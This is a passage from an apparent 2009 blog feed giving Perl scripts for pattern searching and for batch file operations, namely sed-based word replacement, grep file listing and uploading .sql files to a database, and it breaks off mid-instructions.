<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>#}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>for $pattern ( keys %patternArrayHash )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>print &#8221; *) Pattern : $pattern \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>print &#8221; *) Column : $lineArray[$columnNum] \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>if ( $lineArray [ $columnNum ] =~<span style="mso-spacerun: yes;">  </span>/^$pattern$/ )</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">                </span>print OUTPUT_FILE &#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">                </span>print<span style="mso-spacerun: yes;">  </span>&#8220;$line\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">            </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">}</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(DISPLAY_DETAILS_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(INPUT_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; line-height: 14pt; mso-line-height-rule: exactly;"><span style="font-size: 9pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">close(PATTERN_FILE);</span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 66pt; text-indent: -39pt; line-height: normal; mso-list: l0 level1 lfo1; tab-stops: list 45.0pt;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">4.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span></strong><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';">Limitation of the component </span></strong></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 44.25pt 0pt 27pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;">     </span>Within Shell/Unix environment</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal; mso-outline-level: 1;"><strong><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"> </span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt;"><span style="font-size: small; font-family: Calibri;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/searching-for-a-pattern-as-a-string-or-regular-expression/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl Script for performing batch operation on files</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-script-for-performing-batch-operation-on-files/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-script-for-performing-batch-operation-on-files/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:07:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[perl script]]></category>
		<category><![CDATA[Perl Script for performing batch operation on files]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=123</guid>
		<description><![CDATA[Introduction

            This Script can be used to perform many operations on a file. This Script first searches the file. Filtering can be done for the searching file. Searching for file can be done either on extension or any keyword present in the name of the file. You have to just assign proper value to variable [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;"><strong><span style="text-decoration: underline;"><span style="font-size: 10.5pt; color: #000066; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';">Introduction</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;"><strong><span style="font-size: 10.5pt; color: #000066; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><em><span style="font-size: 10.5pt; color: blue; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">            </span></span></em><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">This Script can be used to perform many operations on a file. This Script first searches the file. Filtering can be done for the searching file. Searching for file can be done either on extension or any keyword present in the name of the file. You have to just assign proper value to variable $FileFilter defined in the script. Like if you want to look for the files with ‘.txt’ extensions then assigning will be done in following manner, $FileFilter = ‘\.txt’. ‘\’ is put before<span style="mso-spacerun: yes;">  </span>‘.’ to escape the special meaning of it. If<span style="mso-spacerun: yes;">        </span>you want to look for the files containing word ‘Work’ in their name then assigning will be done in following manner , $FileFilter = ‘Work’. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Searching is done recursively in all the sub directories of the current directory. After the file is found operation mentioned in the script will be carried out on the file. Various operations can be performed using this script. I have written command for some of them, which are explained below: </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l2 level1 lfo1; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;"><span style="font: 7pt &quot;Times New Roman&quot;;">                   </span></span></span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">1.</span></strong><strong><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Searching of a word and replacing that word with another word in files present in a particular directory or sub directory.</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Suppose you want to replace word “table” with “chair” in all the .txt files present in the current directory or its sub directory. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Steps to be followed:</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">a)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">a)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Copy the below script and save it in a file with .pl as extension i.e. search_replace.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">b)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">b)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Assign search keyword value ‘table’ to the variable $Search_pattern defined in the script. I.e. $Search_pattern = &#8216;table&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">c)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">c)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Assign replace keyword value ‘chair’ to the variable $ Replace_pattern defined in the script. I.e. $Replace_pattern = &#8216;chair&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">d)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">d)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Set file-filtering condition. Assign ‘.txt’ value to the variable $FileFilter defined in the script. I.e.<span style="mso-spacerun: yes;">  </span>$FileFilter = ‘\.txt’. ‘\’ is put before<span style="mso-spacerun: yes;">  </span>‘.’ to escape the special meaning of it. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">e)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">e)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uncomment the appropriate command. I.e. below line in the script </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$command = &#8220;sed s/&#8217;$Search_pattern&#8217;/'$Replace_pattern&#8217;/g $THISDIR[$i]/$sqlfile&gt; $THISDIR[$i]/$sqlfile.bak \n mv $THISDIR[$i]/$sqlfile.bak $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l3 level1 lfo2; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">f)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">f)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Execute the script. Format for execution – perl &lt;script file name&gt; i.e. perl search_replace.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l2 level1 lfo1; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;"><span style="font: 7pt &quot;Times New Roman&quot;;">                 </span></span></span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">2.</span></strong><strong><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Listing of all the files in a particular directory or sub directory in which a particular key word is present.</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Suppose you want to list all the ‘.txt’ files present in the current directory or its sub directory containing the word ‘table’.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Steps to be followed</span></strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l5 level1 lfo3; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">a)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">a)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Copy the below script and save it in a file with .pl as extension i.e. list_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l5 level1 lfo3; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">b)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">b)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Assign search word value ‘table’ to the variable $Search_pattern defined in the script. I.e. $Search_pattern = &#8216;table&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l5 level1 lfo3; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">c)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">c)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Set file-filtering condition. Assign ‘.txt’ value to the variable $FileFilter defined in the script. I.e.<span style="mso-spacerun: yes;">  </span>$FileFilter = ‘\.txt’. ‘\’ is put before<span style="mso-spacerun: yes;">  </span>‘.’ to escape the special meaning of it.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l5 level1 lfo3; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">d)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">d)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uncomment<span style="mso-spacerun: yes;">  </span>the command. I.e. below line in the script </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$command = &#8220;grep –l &#8216;$Search_pattern&#8217; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l5 level1 lfo3; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">e)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">e)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Execute the script. Format for execution – perl &lt;script file name&gt; i.e. perl list_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l2 level1 lfo1; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;"><span style="font: 7pt &quot;Times New Roman&quot;;">                   </span></span></span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">3.</span></strong><strong><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uploading of all the *.sql or *.tab files in a database.</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Suppose you want to upload all the ‘.sql’ files present in the current directory or its sub directory in database. We generally face this type of problem while migration. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Steps to be followed:</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">a)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">a)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Copy the below script and save it in a file with .pl as extension i.e. upload_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">b)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">b)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uncomment the below lines in the script.</span></p>
